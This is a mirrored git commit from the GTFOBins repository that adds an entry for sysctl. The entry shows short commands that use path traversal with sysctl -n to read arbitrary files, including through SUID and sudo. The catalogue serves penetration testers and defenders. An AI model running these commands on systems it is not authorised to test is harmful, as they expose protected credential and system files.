mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Create sysctl.md
This commit is contained in:
parent
45308d4f58
commit
8ab57da5c7
16
_gtfobins/sysctl.md
Normal file
16
_gtfobins/sysctl.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sysctl -n "/../../../../../$LFILE"
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./sysctl -n "/../../../../../$LFILE"
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo sysctl -n "/../../../../../$LFILE"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user